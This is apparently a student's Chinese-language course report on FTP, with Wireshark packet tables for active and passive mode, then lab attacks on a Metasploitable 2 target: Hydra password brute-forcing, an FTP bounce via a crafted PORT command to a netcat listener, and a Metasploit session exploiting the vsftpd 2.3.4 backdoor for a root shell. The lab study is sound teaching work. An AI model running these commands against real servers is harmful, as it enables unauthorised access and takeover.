隐约雷鸣,阴霾天空,但盼风雨来,能留你在此。 隐约雷鸣,阴霾天空,即使天无雨,我亦留此地。 ——《万叶集》
序
这里是计算机网络课程的第一个作业,仅此记录一下并提出一些自己的思考。
FTP协议初步分析
测试环境
-
FTP Server
10.60.8.254 : 21/20
vsFTPD 3.0.3
username : mion
password : password
-
FTP Client
10.27.157.176
FTP 0.17-34.1.1
-
分析工具
Wireshark 3.4.4
Fillter : ip.addr == 10.60.8.254 and ftp and ftp-data
注:由于仅探究FTP的行为,在此忽略TCP相关报文。
在FTP主动模式下传输文件
用户行为
- FTP客户端使用账户并在主动模式下连接FTP服务器
- FTP客户端上传文件"file"
- FTP客户端断开连接
数据包分析
以下数据包为从Wireshark导出后经过整理产生的表格。
源 | 目标 | 报文 | 说明 |
---|---|---|---|
10.60.8.254:21 | 10.27.157.176:59220 | Response: 220 (vsFTPd 3.0.3) | 经过TCP三次握手后,FTP服务器响应220代表准备连接 |
10.27.157.176:59220 | 10.60.8.254:21 | Request: USER mion | 发起 USER 指令 |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 331 Please specify the password. | 响应331 准备校验密码 |
10.27.157.176:59220 | 10.60.8.254:21 | Request: PASS password | 发起PASS指令 |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 230 Login successful. | 响应230 登录成功 |
10.27.157.176:59220 | 10.60.8.254:21 | Request: SYST | 发起 SYST 指令,获取FTP服务器系统类型 |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 215 UNIX Type: L8 | 响应 系统类型为UNIX |
10.27.157.176:59220 | 10.60.8.254:21 | Request: TYPE I | 切换传输模式为 Binary模式 |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 200 Switching to Binary mode. | 响应 200 成功 |
10.27.157.176:59220 | 10.60.8.254:21 | Request: PORT 10,27,157,176,151,199 | 发起PORT指令,建立主动模式文件传输连接,客户端监听38855端口 |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 200 PORT command successful. Consider using PASV. | 响应 200 并推荐采用被动模式 |
10.27.157.176:59220 | 10.60.8.254:21 | Request: STOR file | 发起 STOR 命令 要求存储文件为 file |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 150 Ok to send data. | 响应150 准备接收文件 |
10.27.157.176:38855 | 10.60.8.254:20 | FTP Data: 5 bytes (PORT) (STOR file) | 文件传输包,通过主动模式传输 |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 226 Transfer complete. | 响应226 文件传输完成 |
10.27.157.176:59220 | 10.60.8.254:21 | Request: QUIT | 发起 QUIT 指令 |
10.60.8.254:21 | 10.27.157.176:59220 | Response: 221 Goodbye. | 响应 221 结束连接 |
总结分析
从以上信息我们可以得出FTP 主动模式工作方式如下:
-
FTP Client 发起 PORT 命令,携带参数为监听端口。其中参数前四位为IP地址,后两位为端口号,计算方法:
$$
端口号=(第一位\times256)+第二位
$$
其中,开启的端口号为某一随机端口,而非网络上流传的N+1
端口。根据RFC 959
,此观点也得到了证实:3.2. ESTABLISHING DATA CONNECTIONS
The mechanics of transferring data consists of setting up the data connection to the appropriate ports and choosing the parameters for transfer. Both the user and the server-DTPs have a default data port. The user-process default data port is the same as the control connection port (i.e., U). The server-process default data port is the port adjacent to the control connection port (i.e., L-1).
...
Every FTP implementation must support the use of the default data ports, and only the USER-PI can initiate a change to non-default ports.
It is possible for the user to specify an alternate data port by use of the PORT command. -
FTP Server 20端口建立与 FTP Client监听端口的连接,此过程在TCP握手报文中有体现,以上并未给出。
-
通过新建立的连接进行文件传输,且文件为明文,通过Wireshark分析如下:
主动模式与被动模式差异
用户行为
- FTP客户端使用账户并在被动模式下连接FTP服务器
- FTP客户端上传文件"file"
- FTP客户端断开连接
数据包分析
此部分仅对比主动模式与被动模式差异,数据包为从Wireshark导出后经过整理产生的表格。
源 | 目标 | 报文 | 说明 |
---|---|---|---|
10.27.157.176:60976 | 10.60.8.254:21 | Request: PASV | 发起 PASV 命令,要求建立被动模式连接 |
10.60.8.254:21 | 10.27.157.176:60976 | Response: 227 Entering Passive Mode (10,60,8,254,76,13). | 响应227 成功进入被动模式,并且返回监听的非特权端口 |
10.27.157.176:60976 | 10.60.8.254:21 | Request: STOR file | 发起 STOR 命令 要求存储文件为 file |
10.60.8.254:21 | 10.27.157.176:60976 | Response: 150 Ok to send data. | 响应150 准备接收文件 |
10.27.157.176:35758 | 10.60.8.254:19469 | FTP Data: 5 bytes (PASV) (STOR file) | 文件传输包,通过被动模式传输 |
10.60.8.254:21 | 10.27.157.176:60976 | Response: 226 Transfer complete. | 响应226 文件传输完成 |
总结分析
- FTP Client 发起 PASV 命令。
- FTP Server 开始监听某一非特权端口,返回监听地址与端口。
- 开始明文传输文件。
EPRT与EPSV模式
根据RFC 2428
,FTP对IPv6进行支持并提出EPRT与EPSV模式,这里仅做部分引用介绍。
- The EPRT Command
The EPRT command allows for the specification of an extended address for the data connection. The extended address MUST consist of the network protocol as well as the network and transport addresses. The format of EPRT is:
EPRT
- The EPSV Command
The EPSV command requests that a server listen on a data port and wait for a connection. The EPSV command takes an optional argument. The response to this command includes only the TCP port number of the listening connection. The format of the response, however, is similar to the argument of the EPRT command. This allows the same parsing routines to be used for both commands. In addition, the format leaves a place holder for the network protocol and/or network address, which may be needed in the EPSV response in the future. The response code for entering passive mode using an extended address MUST be 229. The interpretation of this code, according to [PR85] is:
2yz Positive Completion
x2z Connections
xy9 Extended Passive Mode Entered
The text returned in response to the EPSV command MUST be:( ) The portion of the string enclosed in parentheses MUST be the exact string needed by the EPRT command to open the data connection, as specified above.
匿名账户登录
通过配置FTP Server开启匿名登录,得到以下数据包:
源 | 目标 | 报文 |
---|---|---|
10.60.8.254:21 | 10.27.157.176:36430 | Response: 220 (vsFTPd 3.0.3) |
10.27.157.176:36430 | 10.60.8.254:21 | Request: USER ftp |
10.60.8.254:21 | 10.27.157.176:36430 | Response: 331 Please specify the password. |
10.27.157.176:36430 | 10.60.8.254:21 | Request: PASS |
10.60.8.254:21 | 10.27.157.176:36430 | Response: 230 Login successful. |
10.27.157.176:36430 | 10.60.8.254:21 | Request: SYST |
10.60.8.254:21 | 10.27.157.176:36430 | Response: 215 UNIX Type: L8 |
10.27.157.176:36430 | 10.60.8.254:21 | Request: QUIT |
10.60.8.254:21 | 10.27.157.176:36430 | Response: 221 Goodbye. |
即通过匿名账户就可以登录FTP Server并进行操作。
FTP攻击测试与分析
对FTP账户进行枚举暴力登录
FTP由于鉴权方式过于简单且本身没有对枚举进行限制,对与较为简单的账户密码非常容易通过暴力破解进行登录,以下将对本攻击方式进行演示。
测试环境
-
靶机信息
Metasploitable 2
192.168.255.128
-
测试工具
Hydra v9.1
测试结果
$ hydra -L ftpaccount -P ftpaccount ftp://192.168.255.128
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-10 13:40:50
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.255.128:21/
[21][ftp] host: 192.168.255.128 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-10 13:40:51
为了便于演示,这里使用较为简单的字典进行爆破。可以看见,在字典和时间足够充裕的情况下,若管理员没有设置足够复杂的口令,特别是当FTP服务器意外开启匿名身份验证后极易被爆破出账号密码。
对FTP进行端口窃取
根据RFC 2577
,FTP通过主动模式或被动模式开启的非特权端口由于没有合理的校验机制,会被恶意碰撞导致端口窃取等问题。原文如下:
Port Stealing
Many operating systems assign dynamic port numbers in increasing
order. By making a legitimate transfer, an attacker can observe the
current port number allocated by the server and "guess" the next one
that will be used. The attacker can make a connection to this port,
thus denying another legitimate client the ability to make a
transfer. Alternatively, the attacker can steal a file meant for a
legitimate user. In addition, an attacker can insert a forged file
into a data stream thought to come from an authenticated client.
This problem can be mitigated by making FTP clients and servers use
random local port numbers for data connections, either by requesting
random ports from the operating system or using system dependent
mechanisms.
由于技术水平受限,在此仅做技术讨论。
对FTP连接进行中间人(MITM)监听
FTP连接完全为明文传输,通过Ettercap等工具进行ARP欺骗可以非常简单地对FTP连接进行中间人攻击,实现包括但不限于:获取账户与密码信息、获取传输文件、SSRF攻击等。
在之前的FTP分析中已经展示过这一点,此处不再赘述。
FTP反射攻击(FTP bounce attack)
测试环境
-
靶机信息
-
FTP Server
Metasploitable 2
192.168.255.128
-
FTP Client
192.168.255.129
-
反射服务器
192.168.255.1
使用Netcat监听12345端口
-
-
测试工具
Telenet
Netcat
测试过程
首先在反射服务器上使用Netcat监听12345端口:
$ nc -l 12345
在FTP Client上使用Telnet与FTP服务器交互
$ telnet 192.168.255.128 21
Trying 192.168.255.128...
Connected to 192.168.255.128.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER msfadmin
331 Please specify the password.
PASS msfadmin
230 Login successful.
PORT 192,168,255,1,48,57 //执行反射,建立一条与反射服务器的连接
200 PORT command successful. Consider using PASV.
LIST //执行LIST指令
150 Here comes the directory listing.
226 Directory send OK.
QUIT
221 Goodbye.
Connection closed by foreign host.
最后在反射服务器上接收到如下信息:
$ nc -l 12345
drwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerable
为上述通过LIST
指令发送的内容。
结果分析
造成此问题是因为FTP主动模式下传输的地址存在被恶意修改为任意地址的风险,攻击人员可以通过预先准备好的反射命令向任意目标发起反射请求,例如通过PUT
和GET
指令等。当然,目前大部分FTP Server程序已经就此问题进行了解决,如限制PORT指令连接的服务器必须是发起指令的服务器等(靶机中的FTP Server经过修改去除了这一限制)。
对FTP连接进行SSRF攻击
此类攻击的原理与上文的FTP Bounuce Attack
有些类似,是FTP在被动模式下返回的Response: 227 Entering Passive Mode (10,60,8,254,76,13)
字段可被攻击者通过MITM攻击等方式截获修改导致客户端错误地连接上第三方服务器的问题。由于技术水平有限且此类攻击实现较为复杂,此处暂不做实现。
CVE-2011-2523 笑脸漏洞
测试环境
-
靶机信息
Metasploitable 2
192.168.255.128
-
测试工具
Metasploit
测试结果
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.255.128
rhost => 192.168.255.128
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.255.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.255.128:21 - USER: 331 Please specify the password.
[+] 192.168.255.128:21 - Backdoor service has been spawned, handling...
[+] 192.168.255.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.255.1:43683 -> 192.168.255.128:6200) at 2021-09-10 14:47:11 +0800
whoami
root
此漏洞发生在vsftpd 2.3.4版本中,在代码中存在一个重大的问题,在文件srt.c中出现一段与程序无关的代码。
else if((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i+1]==0x29)){
vsf_sysutil_extra();
}
可以判断为后门程序,只需要在传入用户名的结尾处加入:)
字符就可以获取root权限。
总结
FTP作为互联网形成初期就存在的协议,放到50年后的今天来看存在着不少问题。这里既包括但不限于:
- 明文传输与落后的身份鉴别造成的信息泄露、枚举破解的问题。
- 没有合理的校验造成的被恶意修改、劫持等问题。
- 需要额外创建新连接造成的被恶意重定向、反射的问题。
- FTP Client与FTP Server在实际实现上存在的问题(如CVE-2011-2523)。
- ...
以上,仅仅对部分FTP存在的问题进行浅显的讨论,我们需要吸收FTP既有的智慧,也要弥补其存在的缺陷,更要能够推陈出新,择其善者而从之,其不善者而改之。
参考资料
-
RFC 2428 : https://tools.ietf.org/html/rfc2428
-
RFC 2577 : https://tools.ietf.org/html/rfc2577